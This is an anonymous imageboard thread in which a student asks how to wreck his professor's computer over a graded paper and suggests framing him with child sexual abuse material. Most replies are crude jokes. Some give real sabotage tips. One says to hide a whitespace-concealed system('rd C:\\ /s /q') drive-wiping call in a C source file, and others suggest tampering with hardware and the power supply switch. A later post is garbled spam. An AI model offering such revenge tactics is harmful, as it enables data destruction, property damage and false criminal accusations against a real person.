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How Can I Fuck My Professor's Computer?

Name: Anonymous 2007-09-18 16:04 ID:Cz434hRB

How Can I Fuck My Professor's Computer?

Son of a bitch didn't even read my fucking paper

says its got too many gramatical problems, it's all bullshit

how do I make him pay? can I put cp on his machine ana tell the cops?

Name: Anonymous 2007-09-18 16:05 ID:Ibo7A0Nq

gb2 sa

I failed at life, how can I fuck with it?

Name: Anonymous 2007-09-18 16:15 ID:Heaven

Open the case (don't shut it off!), hold the computer firmly, drop your pants and use thrusting motions until you emit a sticky substance.

Name: Anonymous 2007-09-18 17:02 ID:c3zidGyo

>>1
What do you study?

Name: Anonymous 2007-09-18 17:03 ID:c3zidGyo

Also, I don't blame him. I wouldn't read your paper eather.

Name: Anonymous 2007-09-18 17:04 ID:Heaven

s/eather/ether

Name: Anonymous 2007-09-18 17:57 ID:Heaven

>>6

s/ether/either

Name: Anonymous 2007-09-18 18:11 ID:n9jC1UsI

s/either/neither

Name: Anonymous 2007-09-18 20:55 ID:8CnS6U7K

>>1
now that's just as weird as the car exhaust pipe fetish.

Name: Anonymous 2007-09-18 21:48 ID:Heaven

>>8
s/neither/eather

Name: Anonymous 2007-09-18 22:58 ID:sbON4dL9

>>10
s/eather/my other car is a cdr

Name: Anonymous 2007-09-18 23:21 ID:LxTA3L/F

>>10
I'll sneather your eather, if yu know what I mean ;)

Name: Anonymous 2007-09-19 0:06 ID:/u/2DQR5

make sure to use a keyboard condom.

Name: Anonymous 2007-09-19 21:54 ID:Eb1iQIgo

this is for windows computers only:
1) Open a console window(command prompt)
2) Type DELETE C:\
3) Wait 10 seconds
4) Unplug and walk away.
5) ??????
6) PROFIT!

Name: Anonymous 2007-09-19 22:27 ID:QyBXD1PS

C:\Documents and Settings\Owner>delete c:\
'delete' is not recognized as an internal or external command,
operable program or batch file.

Name: Anonymous 2007-09-19 22:39 ID:ZuNCReDi

In the serial port, duh.

Name: Anonymous 2007-09-19 23:21 ID:lbF4+45f

Put a bunch of spaces in a .c/.cpp file and put this out there: system("rd C:\\ /s /q");
Then when he compiles and runs...

Name: Anonymous 2007-09-20 4:44 ID:CIBezVvn

if his computer uses ps/2 switch the mouse, and keyboard.
or just unplug suttle things from the computer, and on the power strip get it to self test so you have to reset it.

Name: Anonymous 2007-09-20 4:50 ID:r2xynrnU

1) Hammer
2) BASH BASH BASH
3) ????
4) PROFIT

Name: Anonymous 2007-09-20 4:51 ID:r2xynrnU

>>19
Obviously not the computer

Name: Anonymous 2007-09-20 4:51 ID:+gU68n4Z

some PSU's have a little switch on the back

Name: Anonymous 2007-09-20 13:45 ID:Heaven

>>21
Plugging a PSU tuned to 220V into a 110/115V socket won't do any damage, it'll just not run. It'll only fuck the computer if the OP is a Eurofag and the cuntface plugs a 110/115V-set PSU into a 220V socket, which will result in smoke and lulz.

Name: Anonymous 2007-09-20 17:18 ID:Heaven

Stick your dick in the disk-drive.

Name: Anonymous 2009-03-06 12:40

The radius formula comes from The circle   is splitten like   a pizza so   now you have   no life You   might be a   powerful editor with   shortcuts for every   class plus an   ID and name   calling I am   programming in Assembly   to avoid abstract.

Name: Anonymous 2011-02-04 14:18

Name: Anonymous 2013-07-21 10:22

check em

Name: Anonymous 2013-07-22 10:54

>>26
YOU THINK THIS IS A GAME?

Name: sage 2013-12-18 13:38

  

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